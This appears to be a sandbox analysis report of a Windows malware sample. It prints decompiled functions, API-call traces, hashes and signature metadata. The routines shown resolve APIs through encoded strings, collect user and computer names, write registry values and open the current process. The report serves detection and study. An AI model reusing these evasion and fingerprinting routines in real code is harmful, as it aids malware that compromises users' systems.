StrTrimA.SHLWAPI(00000000,=,00000000,00000000,?,?,?,00A1A428,?,031395B0), ref: 00A18379

Part of subcall function 00A18E82: lstrlen.KERNEL32(?,00000000,00000000,00000000,?,00A18385,00000000,?,?,00A1A428,?,031395B0), ref: 00A18E8C
Part of subcall function 00A18E82: _snprintf.NTDLL ref: 00A18EEA

Strings

=, xrefs: 00A18373

Memory Dump Source

Source File: 00000001.00000002.462301083.0000000000A11000.00000020.00000001.sdmp, Offset: 00A10000, based on PE: true

Associated: 00000001.00000002.462272017.0000000000A10000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462357143.0000000000A1C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.462377364.0000000000A1D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462401527.0000000000A1F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrlen$Heap$AllocateFreeTrim_snprintflstrcatsprintfstrcpy
String ID: =
API String ID: 2864389247-1428090586
Opcode ID: fec7698af55b2df5458e2ab76979df3ce3d6ef67e9f2634c5db530918a6df37f
Instruction ID: 54883fb32b2f2ef6eb2b13892ca6398700a6407dcce7e20fed41d3e6b8edcb32
Opcode Fuzzy Hash: fec7698af55b2df5458e2ab76979df3ce3d6ef67e9f2634c5db530918a6df37f
Instruction Fuzzy Hash: 55110233900224BB8712BBF5AD85CFF36AD9F88B603094016F9049B101CE39CE8393E0

Uniqueness

Uniqueness Score: -1.00%

Function 00A16CC3, Relevance: 9.1, APIs: 6, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(00000000), ref: 00A16D1F
SysAllocString.OLEAUT32(0070006F), ref: 00A16D33
SysAllocString.OLEAUT32(00000000), ref: 00A16D45
SysFreeString.OLEAUT32(00000000), ref: 00A16DA9
SysFreeString.OLEAUT32(00000000), ref: 00A16DB8
SysFreeString.OLEAUT32(00000000), ref: 00A16DC3

Memory Dump Source

Source File: 00000001.00000002.462301083.0000000000A11000.00000020.00000001.sdmp, Offset: 00A10000, based on PE: true

Associated: 00000001.00000002.462272017.0000000000A10000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462357143.0000000000A1C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.462377364.0000000000A1D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462401527.0000000000A1F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$AllocFree
String ID:
API String ID: 344208780-0
Opcode ID: a4921e3597e53286bce27b4ca3ad6b29f51369c785f3f500b10f97d71092a8d1
Instruction ID: e06be7b93e186ab615c9ef11b445370bf153a1151c4d03e2d07820de55cc2852
Opcode Fuzzy Hash: a4921e3597e53286bce27b4ca3ad6b29f51369c785f3f500b10f97d71092a8d1
Instruction Fuzzy Hash: 6D313D32900A09ABDB01DFA8D844ADEB7B6AF49310F148465E910EB160DB719E46CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00A1692C, Relevance: 9.1, APIs: 6, Instructions: 81
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00A1692C(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12) {
				intOrPtr _v8;
				intOrPtr _t23;
				intOrPtr _t26;
				_Unknown_base(*)()* _t28;
				intOrPtr _t30;
				_Unknown_base(*)()* _t32;
				intOrPtr _t33;
				_Unknown_base(*)()* _t35;
				intOrPtr _t36;
				_Unknown_base(*)()* _t38;
				intOrPtr _t39;
				_Unknown_base(*)()* _t41;
				intOrPtr _t44;
				struct HINSTANCE__* _t48;
				intOrPtr _t54;

				_t54 = E00A12049(0x20);
				if(_t54 == 0) {
					_v8 = 8;
				} else {
					_t23 =  *0xa1d27c; // 0x271a5a8
					_t1 = _t23 + 0xa1e11a; // 0x4c44544e
					_t48 = GetModuleHandleA(_t1);
					_t26 =  *0xa1d27c; // 0x271a5a8
					_t2 = _t26 + 0xa1e769; // 0x7243775a
					_v8 = 0x7f;
					_t28 = GetProcAddress(_t48, _t2);
					 *(_t54 + 0xc) = _t28;
					if(_t28 == 0) {
						L8:
						E00A19039(_t54);
					} else {
						_t30 =  *0xa1d27c; // 0x271a5a8
						_t5 = _t30 + 0xa1e756; // 0x614d775a
						_t32 = GetProcAddress(_t48, _t5);
						 *(_t54 + 0x10) = _t32;
						if(_t32 == 0) {
							goto L8;
						} else {
							_t33 =  *0xa1d27c; // 0x271a5a8
							_t7 = _t33 + 0xa1e40b; // 0x6e55775a
							_t35 = GetProcAddress(_t48, _t7);
							 *(_t54 + 0x14) = _t35;
							if(_t35 == 0) {
								goto L8;
							} else {
								_t36 =  *0xa1d27c; // 0x271a5a8
								_t9 = _t36 + 0xa1e4d2; // 0x4e6c7452
								_t38 = GetProcAddress(_t48, _t9);
								 *(_t54 + 0x18) = _t38;
								if(_t38 == 0) {
									goto L8;
								} else {
									_t39 =  *0xa1d27c; // 0x271a5a8
									_t11 = _t39 + 0xa1e779; // 0x6c43775a
									_t41 = GetProcAddress(_t48, _t11);
									 *(_t54 + 0x1c) = _t41;
									if(_t41 == 0) {
										goto L8;
									} else {
										 *((intOrPtr*)(_t54 + 4)) = _a4;
										 *((intOrPtr*)(_t54 + 8)) = 0x40;
										_t44 = E00A1727B(_t54, _a8);
										_v8 = _t44;
										if(_t44 != 0) {
											goto L8;
										} else {
											 *_a12 = _t54;
										}
									}
								}
							}
						}
					}
				}
				return _v8;
			}

0x00a1693b
0x00a1693f
0x00a16a01
0x00a16945
0x00a16945
0x00a1694a
0x00a1695d
0x00a1695f
0x00a16964
0x00a1696c
0x00a16973
0x00a16977
0x00a1697a
0x00a169f9
0x00a169fa
0x00a1697c
0x00a1697c
0x00a16981
0x00a16989
0x00a1698d
0x00a16990
0x00000000
0x00a16992
0x00a16992
0x00a16997
0x00a1699f
0x00a169a3
0x00a169a6
0x00000000
0x00a169a8
0x00a169a8
0x00a169ad
0x00a169b5
0x00a169b9
0x00a169bc
0x00000000
0x00a169be
0x00a169be
0x00a169c3
0x00a169cb
0x00a169cf
0x00a169d2
0x00000000
0x00a169d4
0x00a169da
0x00a169df
0x00a169e6
0x00a169ed
0x00a169f0
0x00000000
0x00a169f2
0x00a169f5
0x00a169f5
0x00a169f0
0x00a169d2
0x00a169bc
0x00a169a6
0x00a16990
0x00a1697a
0x00a16a0f

APIs

Part of subcall function 00A12049: RtlAllocateHeap.NTDLL(00000000,00000000,00A17E50), ref: 00A12055

GetModuleHandleA.KERNEL32(4C44544E,00000020,?,74183966,00000000,?,?,?,00A1207A,?,00000001,?,?,00000000,00000000), ref: 00A16951
GetProcAddress.KERNEL32(00000000,7243775A), ref: 00A16973
GetProcAddress.KERNEL32(00000000,614D775A), ref: 00A16989
GetProcAddress.KERNEL32(00000000,6E55775A), ref: 00A1699F
GetProcAddress.KERNEL32(00000000,4E6C7452), ref: 00A169B5
GetProcAddress.KERNEL32(00000000,6C43775A), ref: 00A169CB

Part of subcall function 00A1727B: memset.NTDLL ref: 00A172FA

Memory Dump Source

Source File: 00000001.00000002.462301083.0000000000A11000.00000020.00000001.sdmp, Offset: 00A10000, based on PE: true

Associated: 00000001.00000002.462272017.0000000000A10000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462357143.0000000000A1C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.462377364.0000000000A1D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462401527.0000000000A1F000.00000002.00000001.sdmp Download File

Similarity

API ID: AddressProc$AllocateHandleHeapModulememset
String ID:
API String ID: 1886625739-0
Opcode ID: 0b0080b2e953b934e700be1213a4fb47406d2ba82337c4a7fa8108c0685c440f
Instruction ID: 0481472bf04a4f0b2cf6591bd252ab5f77e0968f5881475d7369fd970ccff73d
Opcode Fuzzy Hash: 0b0080b2e953b934e700be1213a4fb47406d2ba82337c4a7fa8108c0685c440f
Instruction Fuzzy Hash: 59212EF160120AEFEB20DFB9DC44EEA7BFCEB083447058169EA95D7211D734E9418B60

Uniqueness

Uniqueness Score: -1.00%

Function 00A17649, Relevance: 7.6, APIs: 5, Instructions: 81
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00A17649() {
				long _v8;
				long _v12;
				int _v16;
				long _t39;
				long _t43;
				signed int _t47;
				signed int _t52;
				int _t56;
				int _t57;
				char* _t63;
				short* _t66;

				_v16 = 0;
				_v8 = 0;
				GetUserNameW(0,  &_v8);
				_t39 = _v8;
				if(_t39 != 0) {
					_v12 = _t39;
					_v8 = 0;
					GetComputerNameW(0,  &_v8);
					_t43 = _v8;
					if(_t43 != 0) {
						_v12 = _v12 + _t43 + 2;
						_t63 = E00A12049(_v12 + _t43 + 2 << 2);
						if(_t63 != 0) {
							_t47 = _v12;
							_t66 = _t63 + _t47 * 2;
							_v8 = _t47;
							if(GetUserNameW(_t66,  &_v8) == 0) {
								L7:
								E00A19039(_t63);
							} else {
								 *((short*)(_t66 + _v8 * 2 - 2)) = 0x40;
								_t52 = _v8;
								_v12 = _v12 - _t52;
								if(GetComputerNameW( &(_t66[_t52]),  &_v12) == 0) {
									goto L7;
								} else {
									_t56 = _v12 + _v8;
									_t31 = _t56 + 2; // 0xa1a33a
									_v12 = _t56;
									_t57 = WideCharToMultiByte(0xfde9, 0, _t66, _t56, _t63, _t56 + _t31, 0, 0);
									_v8 = _t57;
									if(_t57 == 0) {
										goto L7;
									} else {
										_t63[_t57] = 0;
										_v16 = _t63;
									}
								}
							}
						}
					}
				}
				return _v16;
			}

0x00a17657
0x00a1765a
0x00a1765d
0x00a17663
0x00a17668
0x00a1766e
0x00a17676
0x00a17679
0x00a1767f
0x00a17684
0x00a17691
0x00a1769e
0x00a176a2
0x00a176a4
0x00a176a8
0x00a176ab
0x00a176bb
0x00a1770d
0x00a1770e
0x00a176bd
0x00a176c0
0x00a176c7
0x00a176ca
0x00a176dd
0x00000000
0x00a176df
0x00a176e2
0x00a176e7
0x00a176f5
0x00a176f8
0x00a17700
0x00a17703
0x00000000
0x00a17705
0x00a17705
0x00a17708
0x00a17708
0x00a17703
0x00a176dd
0x00a17713
0x00a17714
0x00a17684
0x00a1771a

APIs

GetUserNameW.ADVAPI32(00000000,00A1A338), ref: 00A1765D
GetComputerNameW.KERNEL32(00000000,00A1A338), ref: 00A17679

Part of subcall function 00A12049: RtlAllocateHeap.NTDLL(00000000,00000000,00A17E50), ref: 00A12055

GetUserNameW.ADVAPI32(00000000,00A1A338), ref: 00A176B3
GetComputerNameW.KERNEL32(00A1A338,?), ref: 00A176D5
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,00A1A338,00000000,00A1A33A,00000000,00000000,?,?,00A1A338), ref: 00A176F8

Memory Dump Source

Source File: 00000001.00000002.462301083.0000000000A11000.00000020.00000001.sdmp, Offset: 00A10000, based on PE: true

Associated: 00000001.00000002.462272017.0000000000A10000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462357143.0000000000A1C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.462377364.0000000000A1D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462401527.0000000000A1F000.00000002.00000001.sdmp Download File

Similarity

API ID: Name$ComputerUser$AllocateByteCharHeapMultiWide
String ID:
API String ID: 3850880919-0
Opcode ID: a2b2b62bd9c6cea2741621baa4d04a315098ba8962723bdf7285623c7d129f1e
Instruction ID: 64658c7fccb5115e331d255f439162f0d13d376c4d2adeb7375fbee4588367bc
Opcode Fuzzy Hash: a2b2b62bd9c6cea2741621baa4d04a315098ba8962723bdf7285623c7d129f1e
Instruction Fuzzy Hash: 2E21B776900209FFCB11DFE9D985CEEBBB8EE48344B5484AAE501E7241E7349F85DB60

Uniqueness

Uniqueness Score: -1.00%

Function 00A11585, Relevance: 7.5, APIs: 5, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E00A11585(void* __eax, intOrPtr _a4, intOrPtr _a8) {
				void* __esi;
				long _t10;
				void* _t18;
				void* _t22;

				_t9 = __eax;
				_t22 = __eax;
				if(_a4 != 0 && E00A17F27(__eax + 4, _t18, _a4, __eax, __eax + 4) == 0) {
					L9:
					return GetLastError();
				}
				_t10 = E00A1A9AB(_t9, _t18, _t22, _a8);
				if(_t10 == 0) {
					ResetEvent( *(_t22 + 0x1c));
					ResetEvent( *(_t22 + 0x20));
					_push(0);
					_push(0);
					_push(0xffffffff);
					_push(0);
					_push( *((intOrPtr*)(_t22 + 0x18)));
					if( *0xa1d130() != 0) {
						SetEvent( *(_t22 + 0x1c));
						goto L7;
					} else {
						_t10 = GetLastError();
						if(_t10 == 0x3e5) {
							L7:
							_t10 = 0;
						}
					}
				}
				if(_t10 == 0xffffffff) {
					goto L9;
				}
				return _t10;
			}

0x00a11585
0x00a11592
0x00a11594
0x00a115f7
0x00000000
0x00a115f7
0x00a115ac
0x00a115b3
0x00a115bf
0x00a115c4
0x00a115c6
0x00a115c8
0x00a115ca
0x00a115cc
0x00a115ce
0x00a115da
0x00a115ea
0x00000000
0x00a115dc
0x00a115dc
0x00a115e3
0x00a115f0
0x00a115f0
0x00a115f0
0x00a115e3
0x00a115da
0x00a115f5
0x00000000
0x00000000
0x00a115fb

APIs

ResetEvent.KERNEL32(?,00000008,?,?,00000102,00A111DA,?,?,00000000,00000000), ref: 00A115BF
ResetEvent.KERNEL32(?), ref: 00A115C4
GetLastError.KERNEL32 ref: 00A115DC
GetLastError.KERNEL32(?,?,00000102,00A111DA,?,?,00000000,00000000), ref: 00A115F7

Part of subcall function 00A17F27: lstrlen.KERNEL32(00000000,00000008,?,74B04D40,?,?,00A115A4,?,?,?,?,00000102,00A111DA,?,?,00000000), ref: 00A17F33
Part of subcall function 00A17F27: memcpy.NTDLL(00000000,00000000,00000000,00000000,00000001,00000001,?,?,00A115A4,?,?,?,?,00000102,00A111DA,?), ref: 00A17F91
Part of subcall function 00A17F27: lstrcpy.KERNEL32(00000000,00000000), ref: 00A17FA1

SetEvent.KERNEL32(?), ref: 00A115EA

Memory Dump Source

Source File: 00000001.00000002.462301083.0000000000A11000.00000020.00000001.sdmp, Offset: 00A10000, based on PE: true

Associated: 00000001.00000002.462272017.0000000000A10000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462357143.0000000000A1C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.462377364.0000000000A1D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462401527.0000000000A1F000.00000002.00000001.sdmp Download File

Similarity

API ID: Event$ErrorLastReset$lstrcpylstrlenmemcpy
String ID:
API String ID: 1449191863-0
Opcode ID: 4e22e6470e084f89fcd867da8ef4d270f8598c4345447834aa7c53d10cb73659
Instruction ID: b84ccca5fb5d38d1e042f5f193f0d27b703a35ce0e9ab075b6df8dcdc54d43e7
Opcode Fuzzy Hash: 4e22e6470e084f89fcd867da8ef4d270f8598c4345447834aa7c53d10cb73659
Instruction Fuzzy Hash: DE01AD31100612ABD630AB61DC44F9BB6AAEF84370F208A25F292D10F0DA20ED86DA61

Uniqueness

Uniqueness Score: -1.00%

Function 00A18F10, Relevance: 7.5, APIs: 5, Instructions: 35
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00A18F10(intOrPtr _a4) {
				void* _t2;
				long _t4;
				void* _t5;
				long _t6;
				void* _t7;
				void* _t13;

				_t2 = CreateEventA(0, 1, 0, 0);
				 *0xa1d26c = _t2;
				if(_t2 == 0) {
					return GetLastError();
				}
				_t4 = GetVersion();
				if(_t4 != 5) {
					L4:
					if(_t13 <= 0) {
						_t5 = 0x32;
						return _t5;
					}
					L5:
					 *0xa1d25c = _t4;
					_t6 = GetCurrentProcessId();
					 *0xa1d258 = _t6;
					 *0xa1d264 = _a4;
					_t7 = OpenProcess(0x10047a, 0, _t6);
					 *0xa1d254 = _t7;
					if(_t7 == 0) {
						 *0xa1d254 =  *0xa1d254 | 0xffffffff;
					}
					return 0;
				}
				if(_t4 > 0) {
					goto L5;
				}
				_t13 = _t4 - _t4;
				goto L4;
			}

0x00a18f18
0x00a18f20
0x00a18f25
0x00000000
0x00a18f7a
0x00a18f27
0x00a18f2f
0x00a18f37
0x00a18f37
0x00a18f77
0x00000000
0x00a18f77
0x00a18f39
0x00a18f39
0x00a18f3e
0x00a18f50
0x00a18f55
0x00a18f5b
0x00a18f63
0x00a18f68
0x00a18f6a
0x00a18f6a
0x00000000
0x00a18f71
0x00a18f33
0x00000000
0x00000000
0x00a18f35
0x00000000

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00A16A90,?,?,00000001,?,?,?,00A1807D,?), ref: 00A18F18
GetVersion.KERNEL32(?,00000001,?,?,?,00A1807D,?), ref: 00A18F27
GetCurrentProcessId.KERNEL32(?,00000001,?,?,?,00A1807D,?), ref: 00A18F3E
OpenProcess.KERNEL32(0010047A,00000000,00000000,?,00000001,?,?,?,00A1807D,?), ref: 00A18F5B
GetLastError.KERNEL32(?,00000001,?,?,?,00A1807D,?), ref: 00A18F7A

Memory Dump Source

Source File: 00000001.00000002.462301083.0000000000A11000.00000020.00000001.sdmp, Offset: 00A10000, based on PE: true

Associated: 00000001.00000002.462272017.0000000000A10000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462357143.0000000000A1C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.462377364.0000000000A1D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462401527.0000000000A1F000.00000002.00000001.sdmp Download File

Similarity

API ID: Process$CreateCurrentErrorEventLastOpenVersion
String ID:
API String ID: 2270775618-0
Opcode ID: 133dc1e943ff38b03cd8254dafb8c1d7ffd0397382e94e0a43f239840f3588d7
Instruction ID: 45379eaa6dbecf583d1a780165f3bbcb34a59d29bdb741f72f68aa8a1d518b4a
Opcode Fuzzy Hash: 133dc1e943ff38b03cd8254dafb8c1d7ffd0397382e94e0a43f239840f3588d7
Instruction Fuzzy Hash: B2F06D70684341EEE720DFE4AD09BD43BB2A7497A0F10CA19E592C61E0DA788483CF28

Uniqueness

Uniqueness Score: -1.00%

Function 00A117D5, Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 172
stringCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E00A117D5(void* __ecx, char* _a8, char _a16, intOrPtr* _a20, char _a24) {
				signed int _v8;
				char _v12;
				signed int* _v16;
				char _v284;
				void* __esi;
				char* _t60;
				intOrPtr* _t61;
				intOrPtr _t65;
				char _t68;
				intOrPtr _t72;
				intOrPtr _t73;
				intOrPtr _t75;
				void* _t78;
				void* _t88;
				void* _t97;
				void* _t98;
				char _t104;
				signed int* _t106;
				intOrPtr* _t107;
				void* _t108;

				_t98 = __ecx;
				_v8 = _v8 & 0x00000000;
				_t104 = _a16;
				if(_t104 == 0) {
					__imp__( &_v284,  *0xa1d33c);
					_t97 = 0x80000002;
					L6:
					_t60 = E00A1809F(0,  &_v284);
					_a8 = _t60;
					if(_t60 == 0) {
						_v8 = 8;
						L29:
						_t61 = _a20;
						if(_t61 != 0) {
							 *_t61 =  *_t61 + 1;
						}
						return _v8;
					}
					_t107 = _a24;
					if(E00A188B7(_t98, _t103, _t107, _t97, _t60) != 0) {
						L27:
						E00A19039(_a8);
						goto L29;
					}
					_t65 =  *0xa1d27c; // 0x271a5a8
					_t16 = _t65 + 0xa1e8fe; // 0x65696c43
					_t68 = E00A1809F(0, _t16);
					_a24 = _t68;
					if(_t68 == 0) {
						L14:
						_t29 = _t107 + 0x14; // 0x102
						_t33 = _t107 + 0x10; // 0x3d00a1c0
						if(E00A1A635(_t103,  *_t33, _t97, _a8,  *0xa1d334,  *((intOrPtr*)( *_t29 + 0x28))) == 0) {
							_t72 =  *0xa1d27c; // 0x271a5a8
							if(_t104 == 0) {
								_t35 = _t72 + 0xa1ea5f; // 0x4d4c4b48
								_t73 = _t35;
							} else {
								_t34 = _t72 + 0xa1e89f; // 0x55434b48
								_t73 = _t34;
							}
							if(E00A1816C(_t73,  *0xa1d334,  *0xa1d338,  &_a24,  &_a16) == 0) {
								if(_t104 == 0) {
									_t75 =  *0xa1d27c; // 0x271a5a8
									_t44 = _t75 + 0xa1e871; // 0x74666f53
									_t78 = E00A1809F(0, _t44);
									_t105 = _t78;
									if(_t78 == 0) {
										_v8 = 8;
									} else {
										_t47 = _t107 + 0x10; // 0x3d00a1c0
										E00A12659( *_t47, _t97, _a8,  *0xa1d338, _a24);
										_t49 = _t107 + 0x10; // 0x3d00a1c0
										E00A12659( *_t49, _t97, _t105,  *0xa1d330, _a16);
										E00A19039(_t105);
									}
								} else {
									_t40 = _t107 + 0x10; // 0x3d00a1c0
									E00A12659( *_t40, _t97, _a8,  *0xa1d338, _a24);
									_t43 = _t107 + 0x10; // 0x3d00a1c0
									E00A12659( *_t43, _t97, _a8,  *0xa1d330, _a16);
								}
								if( *_t107 != 0) {
									E00A19039(_a24);
								} else {
									 *_t107 = _a16;
								}
							}
						}
						goto L27;
					}
					_t21 = _t107 + 0x10; // 0x3d00a1c0
					if(E00A16BFA( *_t21, _t97, _a8, _t68,  &_v16,  &_v12) == 0) {
						_t106 = _v16;
						_t88 = 0x28;
						if(_v12 == _t88) {
							 *_t106 =  *_t106 & 0x00000000;
							_t26 = _t107 + 0x10; // 0x3d00a1c0
							E00A1A635(_t103,  *_t26, _t97, _a8, _a24, _t106);
						}
						E00A19039(_t106);
						_t104 = _a16;
					}
					E00A19039(_a24);
					goto L14;
				}
				if(_t104 <= 8 || _t104 + 0x2a >= 0x104 || StrChrA(_a8, 0x5f) != 0) {
					goto L29;
				} else {
					_t103 = _a8;
					E00A1A8D8(_t104, _a8,  &_v284);
					__imp__(_t108 + _t104 - 0x117,  *0xa1d33c);
					 *((char*)(_t108 + _t104 - 0x118)) = 0x5c;
					_t97 = 0x80000003;
					goto L6;
				}
			}

0x00a117d5
0x00a117de
0x00a117e5
0x00a117ea
0x00a11857
0x00a1185d
0x00a11862
0x00a1186b
0x00a11872
0x00a11875
0x00a119e9
0x00a119f0
0x00a119f0
0x00a119f5
0x00a119f7
0x00a119f7
0x00a11a00
0x00a11a00
0x00a1187b
0x00a11887
0x00a119df
0x00a119e2
0x00000000
0x00a119e2
0x00a1188d
0x00a11892
0x00a1189b
0x00a118a2
0x00a118a5
0x00a118ef
0x00a118ef
0x00a11902
0x00a1190c
0x00a11914
0x00a11919
0x00a11923
0x00a11923
0x00a1191b
0x00a1191b
0x00a1191b
0x00a1191b
0x00a11945
0x00a1194d
0x00a1197b
0x00a11980
0x00a11989
0x00a1198e
0x00a11992
0x00a119c4
0x00a11994
0x00a119a1
0x00a119a4
0x00a119b4
0x00a119b7
0x00a119bd
0x00a119bd
0x00a1194f
0x00a1195c
0x00a1195f
0x00a11971
0x00a11974
0x00a11974
0x00a119ce
0x00a119da
0x00a119d0
0x00a119d3
0x00a119d3
0x00a119ce
0x00a11945
0x00000000
0x00a1190c
0x00a118b4
0x00a118be
0x00a118c0
0x00a118c5
0x00a118c9
0x00a118cb
0x00a118d6
0x00a118d9
0x00a118d9
0x00a118df
0x00a118e4
0x00a118e4
0x00a118ea
0x00000000
0x00a118ea
0x00a117ef
0x00000000
0x00a11816
0x00a11816
0x00a11822
0x00a11835
0x00a1183b
0x00a11843
0x00000000
0x00a11843

APIs

StrChrA.SHLWAPI(00A13C81,0000005F,00000000,00000000,00000104), ref: 00A11808
lstrcpy.KERNEL32(?,?), ref: 00A11835

Part of subcall function 00A1809F: lstrlen.KERNEL32(?,00000000,00A1D330,00000001,00A12200,00A1D00C,00A1D00C,00000000,00000005,00000000,00000000,?,?,?,00A196C1,00A123E9), ref: 00A180A8
Part of subcall function 00A1809F: mbstowcs.NTDLL ref: 00A180CF
Part of subcall function 00A1809F: memset.NTDLL ref: 00A180E1

Part of subcall function 00A12659: lstrlenW.KERNEL32(00A13C81,?,?,00A119A9,3D00A1C0,80000002,00A13C81,00A18B1E,74666F53,4D4C4B48,00A18B1E,?,3D00A1C0,80000002,00A13C81,?), ref: 00A12679

Part of subcall function 00A19039: HeapFree.KERNEL32(00000000,00000000,00A17F18,00000000,?,?,00000000), ref: 00A19045

lstrcpy.KERNEL32(?,00000000), ref: 00A11857

Strings

\, xrefs: 00A1183B

Memory Dump Source

Source File: 00000001.00000002.462301083.0000000000A11000.00000020.00000001.sdmp, Offset: 00A10000, based on PE: true

Associated: 00000001.00000002.462272017.0000000000A10000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462357143.0000000000A1C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.462377364.0000000000A1D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462401527.0000000000A1F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrcpylstrlen$FreeHeapmbstowcsmemset
String ID: \
API String ID: 3924217599-2967466578
Opcode ID: 731711a2432083e67b3bb5e4dc50d6b5daf0ffee753158cda67a5c2db2d2c611
Instruction ID: 367fb1b471f8460e66fad03e86fd700f1f167b439e9369a51e8d8290d647c814
Opcode Fuzzy Hash: 731711a2432083e67b3bb5e4dc50d6b5daf0ffee753158cda67a5c2db2d2c611
Instruction Fuzzy Hash: 3E51697250020AFFDF11EFA0CD41EEA3BBAEF08340F108415FA6596161D735DA96EB51

Uniqueness

Uniqueness Score: -1.00%

Function 00A152F9, Relevance: 6.2, APIs: 4, Instructions: 152
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E00A152F9(intOrPtr* __eax) {
				void* _v8;
				WCHAR* _v12;
				void* _v16;
				char _v20;
				void* _v24;
				intOrPtr _v28;
				void* _v32;
				intOrPtr _v40;
				short _v48;
				intOrPtr _v56;
				short _v64;
				intOrPtr* _t54;
				intOrPtr* _t56;
				intOrPtr _t57;
				intOrPtr* _t58;
				intOrPtr* _t60;
				void* _t61;
				intOrPtr* _t63;
				intOrPtr* _t65;
				intOrPtr* _t67;
				intOrPtr* _t69;
				intOrPtr* _t71;
				intOrPtr* _t74;
				intOrPtr* _t76;
				intOrPtr _t78;
				intOrPtr* _t82;
				intOrPtr* _t86;
				intOrPtr _t102;
				intOrPtr _t108;
				void* _t117;
				void* _t121;
				void* _t122;
				intOrPtr _t129;

				_t122 = _t121 - 0x3c;
				_push( &_v8);
				_push(__eax);
				_t117 =  *((intOrPtr*)( *__eax + 0x48))();
				if(_t117 >= 0) {
					_t54 = _v8;
					_t102 =  *0xa1d27c; // 0x271a5a8
					_t5 = _t102 + 0xa1e038; // 0x3050f485
					_t117 =  *((intOrPtr*)( *_t54))(_t54, _t5,  &_v32);
					_t56 = _v8;
					_t57 =  *((intOrPtr*)( *_t56 + 8))(_t56);
					if(_t117 >= 0) {
						__imp__#2(0xa1c2b0);
						_v28 = _t57;
						if(_t57 == 0) {
							_t117 = 0x8007000e;
						} else {
							_t60 = _v32;
							_t61 =  *((intOrPtr*)( *_t60 + 0xbc))(_t60, _v28,  &_v24);
							_t86 = __imp__#6;
							_t117 = _t61;
							if(_t117 >= 0) {
								_t63 = _v24;
								_t117 =  *((intOrPtr*)( *_t63 + 0x24))(_t63,  &_v20);
								if(_t117 >= 0) {
									_t129 = _v20;
									if(_t129 != 0) {
										_v64 = 3;
										_v48 = 3;
										_v56 = 0;
										_v40 = 0;
										if(_t129 > 0) {
											while(1) {
												_t67 = _v24;
												asm("movsd");
												asm("movsd");
												asm("movsd");
												asm("movsd");
												_t122 = _t122;
												asm("movsd");
												asm("movsd");
												asm("movsd");
												asm("movsd");
												_t117 =  *((intOrPtr*)( *_t67 + 0x2c))(_t67,  &_v8);
												if(_t117 < 0) {
													goto L16;
												}
												_t69 = _v8;
												_t108 =  *0xa1d27c; // 0x271a5a8
												_t28 = _t108 + 0xa1e0bc; // 0x3050f1ff
												_t117 =  *((intOrPtr*)( *_t69))(_t69, _t28,  &_v16);
												if(_t117 >= 0) {
													_t74 = _v16;
													_t117 =  *((intOrPtr*)( *_t74 + 0x34))(_t74,  &_v12);
													if(_t117 >= 0 && _v12 != 0) {
														_t78 =  *0xa1d27c; // 0x271a5a8
														_t33 = _t78 + 0xa1e078; // 0x76006f
														if(lstrcmpW(_v12, _t33) == 0) {
															_t82 = _v16;
															 *((intOrPtr*)( *_t82 + 0x114))(_t82);
														}
														 *_t86(_v12);
													}
													_t76 = _v16;
													 *((intOrPtr*)( *_t76 + 8))(_t76);
												}
												_t71 = _v8;
												 *((intOrPtr*)( *_t71 + 8))(_t71);
												_v40 = _v40 + 1;
												if(_v40 < _v20) {
													continue;
												}
												goto L16;
											}
										}
									}
								}
								L16:
								_t65 = _v24;
								 *((intOrPtr*)( *_t65 + 8))(_t65);
							}
							 *_t86(_v28);
						}
						_t58 = _v32;
						 *((intOrPtr*)( *_t58 + 8))(_t58);
					}
				}
				return _t117;
			}

0x00a152fe
0x00a15307
0x00a15308
0x00a1530c
0x00a15312
0x00a15318
0x00a15321
0x00a15327
0x00a15331
0x00a15333
0x00a15339
0x00a1533e
0x00a15349
0x00a15351
0x00a15354
0x00a15477
0x00a1535a
0x00a1535a
0x00a15367
0x00a1536d
0x00a15373
0x00a15377
0x00a1537d
0x00a1538a
0x00a1538e
0x00a15394
0x00a15397
0x00a1539d
0x00a153a3
0x00a153a9
0x00a153ac
0x00a153af
0x00a153b5
0x00a153be
0x00a153c4
0x00a153c5
0x00a153c8
0x00a153c9
0x00a153ca
0x00a153d2
0x00a153d3
0x00a153d4
0x00a153d6
0x00a153da
0x00a153de
0x00000000
0x00000000
0x00a153e4
0x00a153ed
0x00a153f3
0x00a153fd
0x00a15401
0x00a15403
0x00a15410
0x00a15414
0x00a1541c
0x00a15421
0x00a15433
0x00a15435
0x00a1543b
0x00a1543b
0x00a15444
0x00a15444
0x00a15446
0x00a1544c
0x00a1544c
0x00a1544f
0x00a15455
0x00a15458
0x00a15461
0x00000000
0x00000000
0x00000000
0x00a15461
0x00a153b5
